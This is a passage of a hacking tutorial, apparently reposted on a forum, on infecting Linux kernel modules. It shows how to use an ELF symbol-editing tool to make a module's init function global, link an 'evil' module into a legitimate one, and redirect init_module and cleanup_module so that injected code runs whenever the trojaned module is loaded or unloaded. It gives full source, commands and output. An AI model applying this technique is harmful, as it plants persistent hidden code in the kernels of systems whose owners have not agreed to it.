Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;
The header can be output by the 'readelf -e' command:
$ readelf -e orig.ko
ELF Header:
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[15] .shstrtab STRTAB 00000000 00040c 0000ae 00 0 0 1
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4
[17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1
The value of the information (sh_info) field (reported as 'Inf')
depends on the section header type (sh_type):
sh_type sh_link sh_info
======= ======= =======
SHT_DYNAMIC The section header index of 0
the string table used by
entries in the section.
SHT_HASH The section header index of 0
the symbol table to which the
hash table applies.
SHT_REL, The section header index of The section header index of
SHT_RELA the associated symbol table. the section to which the
relocation applies.
SHT_SYMTAB, The section header index of One greater than the symbol
SHT_DYNSYM the associated string table. table index of the last
local symbol (binding
STB_LOCAL).
other SHN_UNDEF 0
The sh_info must be updated according to the rules of the SHT_SYMTAB
type. In our example, its value will be 20 = 19 + 1 (remember that our
symbol will be placed after the "__mod_vermagic5" symbol, whose entry
number is 19). This is the reason why reorder the symbol list (step 1)
is a necessary step.
All these tasks are accomplished by the tool I wrote by using this option:
./elfchger -g [symbol] <module_name>
Where [symbol] is the symbol name which binding value has to be modified.
---[ 4.1.3 Try again
At this point we can try another test, in which the developed tool will be
used. The two modules (orig.c and evil.c) and the Makefile remain the same.
The first step is to change the init binding from 'local' to 'global'. The
outcome of the elfchger script can be checked by looking at the readelf's
output before and after its use. Before running the script readelf outputs:
$ readelf -a orig.ko
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 21 4
...
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
10: 00000000 0 SECTION LOCAL DEFAULT 13
11: 00000000 0 SECTION LOCAL DEFAULT 14
12: 00000000 0 FILE LOCAL DEFAULT ABS orig.c
13: 00000000 25 FUNC LOCAL DEFAULT 2 clean
14: 00000020 27 FUNC LOCAL DEFAULT 2 init
...
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
22: 00000000 25 FUNC GLOBAL DEFAULT 2 cleanup_module
...
Let's run the script on the orig.ko file:
$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x73c
[+] Finding ".strtab" section...
>> Found at 0x764
[+] Getting symbol' infos:
>> Symbol found at 0x8bc
>> Index in symbol table: 0xe
[+] Reordering symbols:
>> Starting:
>> Moving symbol from f to e
>> Moving symbol from 10 to f
>> Moving symbol from 11 to 10
>> Moving symbol from 12 to 11
>> Moving symbol from 13 to 12
>> Moving symbol from 14 to 13
>> Moving our symbol from 14 to 14
>> Last LOCAL symbol: 0x14
>> Done!
[+] Updating symbol' infos:
>> Symbol found at 0x91c
>> Index in symbol table: 0x14
>> Replacing flag 'LOCAL' located at 0x928 with 'GLOBAL'
[+] Updating symtab infos at 0x73c
Let's see what happened:
$ readelf -a orig.ko
...
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[16] .symtab SYMTAB 00000000 0007dc 0001a0 10 17 20 4
[17] .strtab STRTAB 00000000 00097c 0000a5 00 0 0 1
...
Symbol table '.symtab' contains 26 entries:
Num: Value Size Type Bind Vis Ndx Name
...
18: 00000000 192 OBJECT LOCAL DEFAULT 8 ____versions
19: 00000060 59 OBJECT LOCAL DEFAULT 5 __mod_vermagic5
20: 00000020 27 FUNC GLOBAL DEFAULT 2 init
21: 00000000 372 OBJECT GLOBAL DEFAULT 10 __this_module
...
So as expected:
- the position of init is changed from 14 to 20 in the symbol table;
- the 'Inf' field in the .symtab header has changed: its current value is
20 (19 (last index local symbol) + 1);
- the binding of init has changed from local to global.
Now we can link together orig.ko and evil.ko:
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
...
00000040 g F .text 00000020 evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000020 g F .text 0000001b init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000020 g F .text 0000001b init
We can notice that the init symbol is no more *UND*. The final step is to
modify the value of init_module:
$ ./elfchger -s init_module -v 00000040 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbfc
>> Index in symbol table: 0x1e
[+] Replacing 0x00000020 with 0x00000040... done!
Let's try to load module:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[ 2385.342838] Init Original!
[ 2385.342845] Init Inject!
Cool!! It works!
---[ 4.2 Static __init init functions
In the previous section it was demonstrated how to inject modules when the
init function is declared as static. However in some cases the startup
function in the kernel modules is defined with the __init macro:
static int __init function_name();
The __init macro is used to describe the function as only being required
during initialisation time. Once initialisation has been performed, the
kernel will remove this function and release the corresponding memory.
The __init macro is defined in "include/linux/init.h":
/************************************************************************/*************************************************************************/
#define __init __section(.init.text) __cold notrace
/************************************************************************/*************************************************************************/
The __section macro is defined in "include/linux/compiler.h":
/************************************************************************/*************************************************************************/
#define __section(S) __attribute__ ((__section__(#S)))
/************************************************************************/*************************************************************************/
While __cold macro is defined in "/include/linux/compiler-gcc*.h":
/************************************************************************/*************************************************************************/
#define __cold __attribute__((__cold__))
/************************************************************************/*************************************************************************/
When the __init macro is used, a number of GCC attributes are added to the
function declaration. The __cold attribute informs the compiler to optimize
it for size instead of speed, because it'll be rarely used. The __section
attribute informs the compiler to put the text for this function in a new
section named ".init.text" [5]. How these __init functions are called can
be checked in "kernel/module.c":
/************************************************************************/*************************************************************************/
static void __init do_initcalls(void)
{
initcall_t *fn;
for (fn = __early_initcall_end; fn < __initcall_end; fn++)
do_one_initcall(*fn);
/* Make sure there is no pending stuff from the initcall sequence */
flush_scheduled_work();
}
/************************************************************************/*************************************************************************/
For each step of the loop inside the do_initcalls() function, an __init
function set up by the module_init macro is executed. The injection will
work even if the function is declared with __init.
The module orig is as follows:
/******************************** orig.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
static int __init init(void) {
printk(KERN_ALERT "Init Original!");
return 0;
}
static void clean(void) {
printk(KERN_ALERT "Exit Original!");
return;
}
module_init(init);
module_exit(clean);
/******************************** EOF ************************************/
After the compilation and as expected, a new .init.text section has
appeared:
$ objdump -t orig.ko
...
00000000 l F .init.text 00000016 init
00000000 l O .modinfo 0000000c __mod_license6
00000000 l df *ABS* 00000000 orig.mod.c
00000020 l O .modinfo 00000023 __mod_srcversion31
00000043 l O .modinfo 00000009 __module_depends
00000000 l O __versions 000000c0 ____versions
00000060 l O .modinfo 0000003b __mod_vermagic5
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000000 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
Both init and init_module symbols are part of the .init.text section. This
new issue can be solved by defining the evil() function as __init:
/******************************** evil.c *********************************/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
MODULE_LICENSE("GPL");
extern int __init init();
int __init evil(void) {
init();
printk(KERN_ALERT "Init Inject!");
/* does something */
return 0;
}
/******************************** EOF ************************************/
Both init() and evil() are prefixed with __init because we need them in
the same section. The same steps described in section 4.1.3 are then
performed:
1 - Change the init binding:
$ ./elfchger -g init orig.ko
[+] Opening orig.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x77c
[+] Finding ".strtab" section...
>> Found at 0x7a4
[+] Getting symbol' infos:
>> Symbol found at 0x8fc
>> Index in symbol table: 0xf
[+] Reordering symbols:
>> Starting:
>> Moving symbol from 10 to f
>> Moving symbol from 11 to 10
>> Moving symbol from 12 to 11
>> Moving symbol from 13 to 12
>> Moving symbol from 14 to 13
>> Moving symbol from 15 to 14
>> Moving our symbol from 15 to 15
>> Last LOCAL symbol: 0x15
>> Done!
[+] Updating symbol' infos:
[>> Symbol found at 0x95c
>> Index in symbol table: 0x15
>> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL'
[+] Updating symtab infos at 0x77c
2 - Link the modules together:
$ ld -r orig.ko evil.ko -o new.ko
$ objdump -t new.ko
...
00000016 g F .init.text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000000 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 g F .init.text 00000016 init
3 - Change init_module address:
$ ./elfchger -s init_module -v 00000016 new.ko
[+] Opening new.ko file...
[+] Reading Elf header...
>> Done!
[+] Finding ".symtab" section...
>> Found at 0x954
[+] Finding ".strtab" section...
>> Found at 0x97c
[+] Getting symbol' infos:
>> Symbol found at 0xbec
>> Index in symbol table: 0x1f
[+] Replacing 0x00000000 with 0x00000016... done!
$ objdump -t new.ko
...
00000016 g F .init.text 0000001b evil
00000000 g O .gnu.linkonce.this_module 00000174 __this_module
00000000 g F .text 00000019 cleanup_module
00000016 g F .init.text 00000016 init_module
00000000 *UND* 00000000 mcount
00000000 *UND* 00000000 printk
00000000 g F .init.text 00000016 init
4 - Load the module in memory:
$ mv new.ko orig.ko
$ sudo insmod orig.ko
$ dmesg|tail
...
[ 323.085545] Init Original!
[ 323.085553] Init Inject!
As expected, it works!
---[ 4.3 - What about cleanup_module
These methods work fine with the cleanup_module symbol which is called by
the kernel when the module is unloaded. Never forget to deal with the
termination function as well because if you don't and if the infected
module was removed for some reason then your kernel would most likely crash
(because there would now be invalid references to the module).
The module exit function can be injected simply by altering the symbol
whose name is specified in elfchger:
$ ./elfchger -s cleanup_module -v address_evil_fn new.ko
In this way, when the module is unloaded, the evil() function will be
invoked instead of the clean() one. You may also need to deal with binding
issues and __exit attribute but the adaptation of the previous method is
straightforward.
Part 2: http://www.anarchyforums.net/Thread-Infe...tyx-Part-2
Wavy baby
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
